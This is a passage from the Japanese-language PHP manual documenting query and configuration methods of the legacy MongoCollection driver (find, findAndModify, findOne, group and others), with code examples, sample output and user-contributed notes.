will prevent a document with a duplicate key ('x') from being added to the connection, but will not throw an exception.  To cause an exception to be thrown, use the "safe"=>true option in the insert statement.


コレクションに問い合わせ、結果セットの MongoCursor を返す

  • ≪ MongoCollection::ensureIndex
  • MongoCollection::findAndModify ≫
  • PHP Manual
  • MongoCollection
  • コレクションに問い合わせ、結果セットの MongoCursor を返す

MongoCollection::find

(PECL mongo >=0.9.0)

MongoCollection::find — コレクションに問い合わせ、結果セットの MongoCursor を返す

説明

public MongoCollection::find
 ( array $query = array()
, array $fields = array()
) : MongoCursor

パラメータ

query

検索したいフィールド。 MongoDB のクエリ言語は極めて幅広いものです。 PHP ドライバはほとんどの場合クエリをそのままサーバーに流すので、 MongoDB コアドキュメントの » find を読むといいでしょう。

警告

クエリの特別な演算子 ($ ではじまるもの) は、すべてシングルクォートで囲まなければならないことに注意しましょう。 "$exists" などとすると、PHP がそれを変数 $exists の値で置き換えてしまいます。

fields

返される結果のフィールド。配列の形式は array('fieldname' => true, 'fieldname2' => true) のようになります。_id フィールドは常に返されます。

返り値

検索結果のカーソルを返します。

例

例1 MongoCollection::find() の例

この例は、基本的な検索オプションを示します。

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'produce');

// フルーツを検索します
$fruitQuery = array('Type' => 'Fruit');

$cursor = $collection->find($fruitQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

// 甘いやつを検索します (Taste は Details の子です)
$sweetQuery = array('Details.Taste' => 'Sweet');
echo "Sweet\n";
$cursor = $collection->find($sweetQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

上の例の出力は以下となります。

array(4) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "50a87dd084f045a19b220dd6"
  }
  ["Name"]=>
  string(5) "Apple"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(5) "Sweet"
    ["Colour"]=>
    string(3) "Red"
  }
}
array(4) {
  ["_id"]=>
  object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "50a87de084f045a19b220dd7"
  }
  ["Name"]=>
  string(5) "Lemon"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(4) "Sour"
    ["Colour"]=>
    string(5) "Green"
  }
}

Sweet:
array(4) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "50a87dd084f045a19b220dd6"
  }
  ["Name"]=>
  string(5) "Apple"
  ["Type"]=>
  string(5) "Fruit"
  ["Details"]=>
  array(2) {
    ["Taste"]=>
    string(5) "Sweet"
    ["Colour"]=>
    string(3) "Red"
  }
}

カーソルの使いかたについての詳しい情報は MongoCursor を参照ください。

例2 MongoCollection::find() の例

この例は、範囲指定検索の方法を示します。

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

// 5 < x < 20 であるドキュメントを検索します
$rangeQuery = array('x' => array( '$gt' => 5, '$lt' => 20 ));

$cursor = $collection->find($rangeQuery);
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

上の例の出力は以下となります。

array(2) {
  ["_id"]=>
  object(MongoId)#10 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000000"
  }
  ["x"]=>
  int(12)
}
array(2) {
  ["_id"]=>
  object(MongoId)#11 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000001"
  }
  ["x"]=>
  int(12)
}

カーソルの挙動についての詳細な情報は MongoCursor を参照ください。

例3 MongoCollection::find() での $where の使用例

この例は、コレクションの検索に javascript コードを使って結果セットを小さくする方法を示します。

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$js = "function() {
    return this.name == 'Joe' || this.age == 50;
}";
$cursor = $collection->find(array('$where' => $js));
foreach ($cursor as $doc) {
    var_dump($doc);
}

?>

上の例の出力は以下となります。

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

例4 MongoCollection::find() での $in の使用例

この例は、コレクションの検索に $in 演算子を使う方法を示します。

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find(array(
    'name' => array('$in' => array('Joe', 'Wendy'))
));

?>

上の例の出力は以下となります。

array(3) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "4ebc3e3710b89f2349000002"
  }
  ["name"]=>
  string(3) "Joe"
  ["age"]=>
  int(20)
}

例5 配列形式での結果の取得

このメソッドは MongoCursor を返します。 しかし、配列形式のほうが使いやすいという人もいるでしょう。 カーソルを配列に変換するには iterator_to_array() 関数を使います。

<?php

$m = new MongoClient();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'phpmanual');

$cursor = $collection->find();
$array = iterator_to_array($cursor);

?>

上の例の出力は以下となります。

array(3) {
  ["4ebc40af10b89f5149000000"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#6 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000000"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000001"]=>
  array(2) {
    ["_id"]=>
    object(MongoId)#11 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000001"
    }
    ["x"]=>
    int(12)
  }
  ["4ebc40af10b89f5149000002"]=>
  array(3) {
    ["_id"]=>
    object(MongoId)#12 (1) {
      ["$id"]=>
      string(24) "4ebc40af10b89f5149000002"
    }
    ["name"]=>
    string(3) "Joe"
    ["age"]=>
    int(20)
  }
}

iterator_to_array() を使うと、結果全体をメモリに展開することになります。 メモリサイズを超える結果セットではこれを使わないでください!

また、一部のシステムコレクションには _id フィールドを持たないものがあります。_id がないドキュメントを含むかもしれないコレクションを扱う場合は、 iterator_to_array() の二番目の引数に false を渡します (そうすれば、存在しない _id の値をキーとして使うことがなくなります)。

参考

  • MongoCollection::findOne() - コレクションに問い合わせ、単一の要素を返す
  • MongoCollection::insert() - ドキュメントをコレクションに追加する
  • MongoDB コアドキュメントの » find

User Contributed Notes

vsaurabh dot aec at gmail dot com 30-Jul-2016 09:22
example of sort and find

$client = new MongoDB\Client("mongodb://localhost:27017");
$product = $client->db->product;
$filter = [];
$options = ['sort' => ['catid' => 1], 'limit' => 10];
$list = $product->find($filter, $options);
bronius dot motekaitis at gmail dot com 02-Mar-2015 08:30
As the docs specify, '$or' conditions (and similar) get passed right on to MongoDB directly. It appears that to make a simple "field, $or, field" compound query work, all parts must be wrapped as a gigantic $and.
Here's how I got a find(), findOne(), and findAndModify() to obey such a compound $or for matching on fields, one of which is represented in data as either a string or integer:
<?php
  $query =
    array('$and' =>
      array(
        array('assessment_id' => $doc->assessment_id),
        array('$or' =>
          array(
            array('participant_id' => $doc->participant_id),
            array('participant_id' => (string)$doc->participant_id),
          ),
        ),
        array('measure_id' => $doc->measure_id)
      ),
    );
  $thedoc = $collection->findOne($query);
  return $thedoc;
?>
Nanhe Kumar 07-Nov-2013 09:13
<?php
$m = new MongoClient();
$db = $m->selectDB('school');
$collection = new MongoCollection($db, 'student');
//Find where class=5
$where=array('class'=>5);
$cursor = $collection->find($where);

//Find where class !=5
$where=array('class' => array('$ne'=>5));
$cursor = $collection->find($where);

//Find where age >20
$where=array('age' => array('$gt'=>20));
$cursor = $collection->find($where);

//Find where age >=20
$where=array('age' => array('$gte'=>20));
$cursor = $collection->find($where);

//Find where age <20
$where=array('age' => array('$le'=>20));
$cursor = $collection->find($where);

//Find where age <=20
$where=array('age' => array('$lte'=>20));
$cursor = $collection->find($where);

//Finc where class=10 or marks=80
$where=array( '$or' => array( array(' class' =>10), array('marks'=>80) ) );
$cursor = $collection->find($where);
//Finc where class=12 AND marks=70
$where=array( '$and' => array( array(' class' =>12), array('marks'=>70) ) );
$cursor = $collection->find($where);

?>
artusdebenque at yahoo dot fr 28-Oct-2013 01:17
For the fields parameter, the documentaion says: "The _id field is always returned".
Knowing that mongodb allows you to uncheck the _id field ("the _id field is the only field that you can explicitly exclude"; source: http://docs.mongodb.org/manual/reference/method/db.collection.find/#db.collection.find), I tried it with php and it works : you can exclude the _id field.

Example : the following fields parameter will exclude the field "_id"

$fields = array('timestamp' => true, 'rank' => true, '_id' => false);
nospam at alexyves dot fr 09-Dec-2010 06:28
This will work with versions >=1.5.3, please note that this is just a example of the way to use the or statement.

<?php
  $connection = new Mongo();

  $db = $connection->test;
  $collection = $db->test;
  // Clean the DB before the test.
  $collection->drop();
  $collection = $db->test;

  $apple = array(
    'fruit' => 'Apple',
    'type' => 'Juice',
  );

  $orange = array(
    'fruit' => 'Orange',
    'type' => 'Marmalade',
  );

  $collection->insert($apple);
  $collection->insert($orange);

  // Basic find
  $results = $collection->find(array('fruit' => 'Apple'));

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice

Now an advanced search with "or" statement.

<?php
  // Advanced find with "OR" note the double array.
  // if you use double quotes escape the or "\$or"
  $results = $collection->find( array( '$or' => array( array('fruit' => 'Apple'), array('fruit' => 'Orange') ) ) );

  foreach($results as $result)
  {
    echo sprintf("Fruit: %s, Type: %s%s", $result['fruit'], $result['type'], PHP_EOL);
  }
?>

Output:

Fruit: Apple, Type: Juice
Fruit: Orange, Type: Marmalade


ドキュメントを更新して返す

  • ≪ MongoCollection::find
  • MongoCollection::findOne ≫
  • PHP Manual
  • MongoCollection
  • ドキュメントを更新して返す

MongoCollection::findAndModify

(PECL mongo >=1.3.0)

MongoCollection::findAndModify — ドキュメントを更新して返す

説明

public MongoCollection::findAndModify ( array $query , array $update = ? , array $fields = ? , array $options = ? ) : array

findAndModify コマンドは、単一のドキュメントをアトミックに変更して返します。 デフォルトでは、返されるドキュメントには、この更新による変更内容が含まれません。 更新で変更した結果のドキュメントを返すには、new オプションを使います。

パラメータ

query

クエリの検索条件。

update

更新条件。

fields

オプションで、返すフィールドを絞り込めます。

options

適用するオプションの配列。マッチしたドキュメントを DB から削除してから返すなどのオプションを指定できます。

オプション | 説明
sort array | クエリが複数のドキュメントを選択したときに、どのドキュメントを変更するかを決めます。 findAndModify が変更するのは、この引数で指定した並び順で最初にあるドキュメントだけです。
remove bool | update フィールドが存在するときは必須ではありません。 true にすると、選択したドキュメントを削除します。デフォルトは false です。
update array | remove フィールドが存在するときは必須ではありません。 選択したドキュメントを更新します。
new bool | 必須ではありません。true にすると、変更前のドキュメントではなく変更後のドキュメントを返します。 findAndModify メソッドは、remove 操作のときには new オプションを無視します。 デフォルトは false です。
upsert bool | 必須ではありません。update と組み合わせて使います。 true にすると、クエリがドキュメントを返さないときに findAndModify コマンドが新しいドキュメントを作ります。 デフォルトは false です。MongoDB 2.2 では、upsert が true のときに findAndModify コマンドは null を返します。

返り値

元のドキュメントを返します。 new が設定されている場合は変更後のドキュメントを返します。

エラー / 例外

失敗した場合に MongoResultException をスローします。

例

例1 MongoCollection::findAndModify() の例

<?php
$m = new Mongo;
$col = $m->selectDB("test")->jobs;

$col->insert(array(
     "name" => "Next promo",
     "inprogress" => false,
     "priority" => 0,
     "tasks" => array( "select product", "add inventory", "do placement"),
) );

$col->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 1,
     "tasks" => array( "run sales report", "email report" )
) );

$col->insert(array(
     "name" => "Biz report",
     "inprogress" => false,
     "priority" => 2,
     "tasks" => array( "run marketing report", "email report" )
    ),
    array("w" => 1)
);

$retval = $col->findAndModify(
     array("inprogress" => false, "name" => "Biz report"),
     array('$set' => array('inprogress' => true, "started" => new MongoDate())),
     null,
     array(
        "sort" => array("priority" => -1),
        "new" => true,
    )
);

var_dump($retval);
?>

上の例の出力は、 たとえば以下のようになります。

array(6) {
  ["_id"]=>
  object(MongoId)#7 (1) {
    ["$id"]=>
    string(24) "5091b5b244415e8cc3000002"
  }
  ["inprogress"]=>
  bool(true)
  ["name"]=>
  string(10) "Biz report"
  ["priority"]=>
  int(2)
  ["started"]=>
  object(MongoDate)#8 (2) {
    ["sec"]=>
    int(1351726514)
    ["usec"]=>
    int(925000)
  }
  ["tasks"]=>
  array(2) {
    [0]=>
    string(20) "run marketing report"
    [1]=>
    string(12) "email report"
  }
}

例2 MongoCollection::findAndModify() のエラー処理

<?php
$m = new Mongo;
$col = $m->selectDB("test")->jobs;
try {
    $retval = $col->findAndModify(
         array("inprogress" => false, "name" => "Next promo"),
         array('$pop' => array("tasks" => -1)),
         array("tasks" => array('$pop' => array("stuff"))),
         array("new" => true)
    );
} catch(MongoResultException $e) {
    echo $e->getCode(), " : ", $e->getMessage(), "\n";
    var_dump($e->getDocument());
}

?>

上の例の出力は、 たとえば以下のようになります。

13097 : exception: Unsupported projection option: $pop
array(3) {
  ["errmsg"]=>
  string(46) "exception: Unsupported projection option: $pop"
  ["code"]=>
  int(13097)
  ["ok"]=>
  float(0)
}

参考

  • MongoDB の » findAndModify コマンド のドキュメント

User Contributed Notes

Barmy 07-Apr-2014 04:24
There is an easy way to find and replace by _id :

<?php
// ...

// Selecting unparsed lines
$cursor = $collection->find(array("mydata_isParsed" => array('$ne' => 1)));

// Doing our stuff
foreach($cursor as $document) {
    // should always be ok, just in case
    if (!isset($document["mydata_isParsed"])) {
        // ... do some stuff

        // flag as parsed and update line
        $document["mydata_isParsed"] = 1;
        $idField = '$id';
        $collection->findAndModify(array("_id" => new MongoId($document["_id"]->$idField)), $document);
    }
}


コレクションに問い合わせ、単一の要素を返す

  • ≪ MongoCollection::findAndModify
  • MongoCollection::__get ≫
  • PHP Manual
  • MongoCollection
  • コレクションに問い合わせ、単一の要素を返す

MongoCollection::findOne

(PECL mongo >=0.9.0)

MongoCollection::findOne — コレクションに問い合わせ、単一の要素を返す

説明

public MongoCollection::findOne
 ( array $query = array()
, array $fields = array()
, array $options = array()
) : array

MongoCollection::find() とは対照的に、このメソッドは結果セットの 最初の結果だけを返します。 MongoCursor を返すのではないので、その後の反復処理はできません。

パラメータ

query

検索したいフィールド。 MongoDB のクエリ言語は極めて幅広いものです。 PHP ドライバはほとんどの場合クエリをそのままサーバーに流すので、 MongoDB コアドキュメントの » find を読むといいでしょう。

警告

クエリの特別な演算子 ($ ではじまるもの) は、すべてシングルクォートで囲まなければならないことに注意しましょう。 "$exists" などとすると、PHP がそれを変数 $exists の値で置き換えてしまいます。

fields

返される結果のフィールド。配列の形式は array('fieldname' => true, 'fieldname2' => true) のようになります。_id フィールドは常に返されます。

options

array("name" => <value>, ...) 形式の連想配列。 現在サポートしているオプションは、以下のとおりです。

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

検索にマッチしたレコード、あるいは null を返します。

エラー / 例外

データベースに接続できない場合に MongoConnectionException をスローします。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | オプションの引数 options が追加されました。

例

例1 MongoCollection::findOne() での id による検索

この例は、コレクション内のドキュメントを id から検索する方法を示します。

<?php

$articles = $mongo->my_db->articles;

$article = $articles->findOne(array('_id' => new MongoId('47cc67093475061e3d9536d2')));

?>

例2 MongoCollection::findOne() での複数条件の使用

この例は、コレクション内のドキュメントを複数の条件で検索し、返されるフィールドを絞り込む方法を示します。

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password'));
print_r($user);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [_id] => MongoId Object
        (
        )

    [password] => test
)

たとえドキュメントに username フィールドがあっても、 返される結果には password フィールドしか含まれないことに注目しましょう。

参考

  • MongoCollection::find() - コレクションに問い合わせ、結果セットの MongoCursor を返す
  • MongoCollection::insert() - ドキュメントをコレクションに追加する
  • MongoDB コアドキュメントの » find

User Contributed Notes

dominik at dokdok dot com 30-Sep-2010 11:44
There is also a notation to retrieve all fields, but the specified ones

<?php

$users = $mongo->my_db->users;
$user = $users->findOne(array('username' => 'jwage'), array('password' => 0));
print_r($user);

?>

Will return all fields of the user, but the password field.


コレクションを取得する

  • ≪ MongoCollection::findOne
  • MongoCollection::getDBRef ≫
  • PHP Manual
  • MongoCollection
  • コレクションを取得する

MongoCollection::__get

(PECL mongo >=1.0.2)

MongoCollection::__get — コレクションを取得する

説明

public MongoCollection::__get ( string $name ) : MongoCollection

ドット区切りの名前でコレクションを取得する簡潔な構文です。 コレクション名に特殊な文字が含まれている場合は MongoDB::selectCollection() を使います。

<?php

$mongo = new MongoClient();

// 次の 2 行はどちらも同じ意味です。
$collection = $mongo->selectDB("foo")->selectCollection("bar.baz");
$collection = $mongo->foo->bar->baz;

?>

パラメータ

name

コレクション名の中の次の文字列。

返り値

コレクションを返します。

User Contributed Notes

There are no user contributed notes for this page.


データベース参照が指すドキュメントを取得する

  • ≪ MongoCollection::__get
  • MongoCollection::getIndexInfo ≫
  • PHP Manual
  • MongoCollection
  • データベース参照が指すドキュメントを取得する

MongoCollection::getDBRef

(PECL mongo >=0.9.0)

MongoCollection::getDBRef — データベース参照が指すドキュメントを取得する

説明

public MongoCollection::getDBRef ( array $ref ) : array

パラメータ

ref

データベース参照。

返り値

参照が指し示すデータベースドキュメントを返します。

例

例1 MongoCollection::getDBRef() の例

<?php

$playlists = $db->playlists;

$myList = $playlists->findOne(array('username' => 'me'));

// プレイリストの各曲を取得します
foreach ($myList['songlist'] as $songRef) {
    $song = $playlists->getDBRef($songRef);
    echo $song['title'] . "\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

Dazed and Confused
Ma na ma na
Bohemian Rhapsody

上の例で、それぞれの $songRef の中身は次のような形式になります。
    Array
    (
        [$ref] => songs
        [$id] => 49902cde5162504500b45c2c
    )

参考

  • MongoCollection::createDBRef() - データベースへの参照を作成する

User Contributed Notes

manuel at dziubas dot de 17-Apr-2011 10:10
The "$id" has to be a

new MongoId("...")

in PHP driver!

Ref:
array(
  "$ref" => "other_collection",
  "$id" => new MongoId("the_referenced_dataobject_id")
)


このコレクションのインデックスについての情報を返す

  • ≪ MongoCollection::getDBRef
  • MongoCollection::getName ≫
  • PHP Manual
  • MongoCollection
  • このコレクションのインデックスについての情報を返す

MongoCollection::getIndexInfo

(PECL mongo >=0.9.0)

MongoCollection::getIndexInfo — このコレクションのインデックスについての情報を返す

説明

public MongoCollection::getIndexInfo ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、配列を返します。配列の各要素が、それぞれインデックスを表します。 その要素には、インデックス名を表す name や名前空間 (データベース名とコレクション名の組み合わせ) を表す ns、すべてのキーとそのソート順 (インデックスを作るもの) を表す key があります。 また、それ以外の値も特別なインデックスに含まれるかもしれません。 unique や sparse などです。

例

例1 MongoCollection::getIndexInfo() の例

<?php

$m = new MongoClient();
$c = $m->selectCollection('test', 'venues');
var_dump($c->getIndexInfo());

?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  [0]=>
  array(4) {
    ["v"]=>
    int(1)
    ["key"]=>
    array(1) {
      ["_id"]=>
      int(1)
    }
    ["name"]=>
    string(4) "_id_"
    ["ns"]=>
    string(11) "test.venues"
  }
  [1]=>
  array(4) {
    ["v"]=>
    int(1)
    ["key"]=>
    array(1) {
      ["name"]=>
      float(1)
    }
    ["name"]=>
    string(6) "name_1"
    ["ns"]=>
    string(11) "test.venues"
  }
  [2]=>
  array(4) {
    ["v"]=>
    int(1)
    ["key"]=>
    array(2) {
      ["type"]=>
      float(1)
      ["createdAt"]=>
      float(-1)
    }
    ["name"]=>
    string(19) "type_1_createdAt_-1"
    ["ns"]=>
    string(11) "test.venues"
  }
  [3]=>
  array(5) {
    ["v"]=>
    int(1)
    ["key"]=>
    array(1) {
      ["location"]=>
      string(8) "2dsphere"
    }
    ["name"]=>
    string(17) "location_2dsphere"
    ["ns"]=>
    string(11) "test.venues"
    ["2dsphereIndexVersion"]=>
    int(2)
  }
}

参考

MongoDB コアドキュメントの » vanilla indexes や » geospatial indexes も参照ください。

User Contributed Notes

nanhe dot kumar at gmail dot com 05-Oct-2013 10:50
<?php
/*
    For example, to view all indexes on the people collection from country databse :
    InmongoDb
    use country
    db.people.getIndexes()
    Inphp

*/
$m = new MongoClient();
$indexes = $m->country->people->getIndexInfo();

?>


コレクションの名前を返す

  • ≪ MongoCollection::getIndexInfo
  • MongoCollection::getReadPreference ≫
  • PHP Manual
  • MongoCollection
  • コレクションの名前を返す

MongoCollection::getName

(PECL mongo >=0.9.0)

MongoCollection::getName — コレクションの名前を返す

説明

public MongoCollection::getName ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

コレクションの名前を返します。

例

例1 MongoCollection::getName() の例

<?php

$m = new MongoClient();
$c = $m->foo->bar->baz;

echo "Working with collection " . $c->getName() . ".\n";

// 完全な名前空間は MongoCollection::__toString() メソッドで取得します
echo "Working in namespace $c.\n";

?>

上の例の出力は、 たとえば以下のようになります。

Working with collection bar.baz.
Working in namespace foo.bar.baz.

User Contributed Notes

There are no user contributed notes for this page.


このコレクションの優先読み込みを取得する

  • ≪ MongoCollection::getName
  • MongoCollection::getSlaveOkay ≫
  • PHP Manual
  • MongoCollection
  • このコレクションの優先読み込みを取得する

MongoCollection::getReadPreference

(PECL mongo >=1.3.0)

MongoCollection::getReadPreference — このコレクションの優先読み込みを取得する

説明

public MongoCollection::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

変更履歴

バージョン | 説明
PECL mongo 1.3.3 | 返り値が変わり、 MongoCollection::setReadPreference() との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。

例

例1 MongoCollection::getReadPreference() の返り値の例

<?php

$m = new MongoClient();
$c = $m->test->users;
$c->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($c->getReadPreference());
?>

上の例の出力は以下となります。

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

参考

  • 優先読み込みのドキュメント
  • MongoCollection::setReadPreference() - このコレクションの優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


このコレクションの slaveOkay 設定を取得する

  • ≪ MongoCollection::getReadPreference
  • MongoCollection::getWriteConcern ≫
  • PHP Manual
  • MongoCollection
  • このコレクションの slaveOkay 設定を取得する

MongoCollection::getSlaveOkay

(PECL mongo >=1.1.0)

MongoCollection::getSlaveOkay — このコレクションの slaveOkay 設定を取得する

説明

public MongoCollection::getSlaveOkay ( ) : bool

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

このインスタンスの slaveOkay の値を返します。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。

参考

  • 優先読み込み
  • MongoCollection::getReadPreference() - このコレクションの優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this collection

  • ≪ MongoCollection::getSlaveOkay
  • MongoCollection::group ≫
  • PHP Manual
  • MongoCollection
  • Get the write concern for this collection

MongoCollection::getWriteConcern

(PECL mongo >=1.5.0)

MongoCollection::getWriteConcern — Get the write concern for this collection

説明

public MongoCollection::getWriteConcern ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、書き込み確認を表す配列を返します。w の値はサーバーの台数を表す整数値かモードを表す文字列、そして wtimeout の値はサーバーが書き込み確認を待つ最大ミリ秒数です。

例

例1 MongoCollection::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
$coll = $mc->selectCollection('test', 'foo');
var_dump($coll->getWriteConcern());

$coll->setWriteConcern(1, 1000);
var_dump($coll->getWriteConcern());
?>

上の例の出力は以下となります。

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

参考

  • The write concern documentation.
  • MongoCollection::setWriteConcern() - Set the write concern for this database

User Contributed Notes

There are no user contributed notes for this page.


SQL の GROUP BY コマンドと似た処理を行う

  • ≪ MongoCollection::getWriteConcern
  • MongoCollection::insert ≫
  • PHP Manual
  • MongoCollection
  • SQL の GROUP BY コマンドと似た処理を行う

MongoCollection::group

(PECL mongo >=0.9.2)

MongoCollection::group — SQL の GROUP BY コマンドと似た処理を行う

説明

public MongoCollection::group ( mixed $keys , array $initial , MongoCode $reduce , array $options = array() ) : array

パラメータ

keys

group by したいフィールド。 配列あるいは非コードオブジェクトが渡された場合は、 結果をグループ化するキーとして扱います。

1.0.4+: keys が MongoCode のインスタンスである場合は、 keys はグループ化のキーを返す関数であると見なします (下の例 "keys へ関数を渡す" を参照ください)。

initial

集約カウンタオブジェクトの初期値。

reduce

ふたつの引数 (現在のドキュメント、 そして集約する点) を受け取って集約をする関数。

options

group コマンドへのオプションのパラメータ。次のオプションが使えます。

  • "condition"

    集約処理に含めるドキュメントの条件。

  • "finalize"

    一意なキーごとに一度だけコールされる関数。 reduce 関数の最後の出力を受け取ります。

  • "maxTimeMS"

    サーバー上で操作を行う累積時間の制限 (アイドル時間を含まない) を、ミリ秒単位で指定します。この時間内にサーバー側の操作が完了しなければ、MongoExecutionTimeoutException をスローします。

返り値

結果を含む配列を返します。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | "maxTimeMS" オプションが追加されました。
PECL mongo 1.2.11 | options が scalar のときに E_DEPRECATED を発行するようになりました。

例

例1 MongoCollection::group() の例

これは、ドキュメントをカテゴリー別にまとめて カテゴリーごとの名前の一覧を作ります。

<?php

$collection->insert(array("category" => "fruit", "name" => "apple"));
$collection->insert(array("category" => "fruit", "name" => "peach"));
$collection->insert(array("category" => "fruit", "name" => "banana"));
$collection->insert(array("category" => "veggie", "name" => "corn"));
$collection->insert(array("category" => "veggie", "name" => "broccoli"));

$keys = array("category" => 1);

$initial = array("items" => array());

$reduce = "function (obj, prev) { prev.items.push(obj.name); }";

$g = $collection->group($keys, $initial, $reduce);

echo json_encode($g['retval']);

?>

上の例の出力は、 たとえば以下のようになります。

[{"category":"fruit","items":["apple","peach","banana"]},{"category":"veggie","items":["corn","broccoli"]}]

例2 MongoCollection::group() の例

この例ではキーを使わないので、すべてのドキュメントがそれ自身のグループに属します。 また、この例では条件を使います。 この条件にマッチするドキュメントのみがグループ関数による処理の対象となります。

<?php

$collection->save(array("a" => 2));
$collection->save(array("b" => 5));
$collection->save(array("a" => 1));

// すべてのフィールドを使用します
$keys = array();

// 初期値を設定します
$initial = array("count" => 0);

// 実行する JavaScript 関数
$reduce = "function (obj, prev) { prev.count++; }";

// "a" フィールドが 1 より大きいドキュメントのみを使用します
$condition = array('condition' => array("a" => array( '$gt' => 1)));

$g = $collection->group($keys, $initial, $reduce, $condition);

var_dump($g);

?>

上の例の出力は、 たとえば以下のようになります。

array(4) {
  ["retval"]=>
  array(1) {
    [0]=>
    array(1) {
      ["count"]=>
      float(1)
    }
  }
  ["count"]=>
  float(1)
  ["keys"]=>
  int(1)
  ["ok"]=>
  float(1)
}

例3 keys へ関数を渡す

フィールド名以外の何かでグループ化したい場合は、 MongoCollection::group() の最初のパラメータに関数を渡すと 各ドキュメントに対してそれを実行します。 関数の返り値を使ってグループ化することができます。

この例は、num フィールドを 4 で割ったあまりでグループ化する方法を示すものです。

<?php

$c->group(new MongoCode('function(doc) { return {mod : doc.num % 4}; }'),
     array("count" => 0),
     new MongoCode('function(current, total) { total.count++; }'));

?>

User Contributed Notes

ury dot zend at gmail dot com 20-Feb-2015 09:00
quoting Evgeniy Abduzhapparov example for correction, since is not working on newest php mongo driver version

instead of use:
<?php
$initial = array('tags'=>array(), 'count'=>0);
?>
for var tags,
you have to cast the empty array to an object or use new stdClass()
<?php
$initial = array('tags'=> (object) array(), 'count'=>0);

$initial = array('tags'=> new stdClass(), 'count'=>0);
?>
ronan dot guilloux at gmail dot com 19-Nov-2012 03:38
Since the $options argument is no longer a scalar (deprecated since the 1.2.11 version of the Mongo's PHP driver), you now must compose your $options as an associative array, otherwise you'll rise a "Implicitly passing condition as $options will be removed in the future" alert.

Example:

<?php

$m = new Mongo();
$db = $m->selectDB('test');
$collection = new MongoCollection($db, 'FooBar');

// grouping results by categories, where foo is 'bar'
$keys = array('categorie'=>true, 'foo'=>true); // the fields list we want to return
$initial = array('count' => 0); // gets a subtotal for each categorie
$reduce = "function(obj,prev) { prev.count += 1; }"; // yes, this is js code
$conditions = array('foo'=> 'bar');
$grouped = $myColl::group($keys, $initial, $reduce, array('condition'=>$conditions));
$result = $grouped['retval'];

?>
nick at pitchinteractive dot com 05-Jan-2012 12:51
Here's my code to do an equivalent of a GROUP BY and a SUM

<?php
$contributionCol = $db->customers->contribution;
$group = $contributionCol->group(array('date' => true), array('sum' => 0), "function (obj, prev) { prev['sum'] += obj.amount; }");
?>

This groups by the 'date' column and sums over the 'amount' column. In my testing this was much slower than querying all rows and doing the Group by code with PHP. It could just be my particular setup and data set.

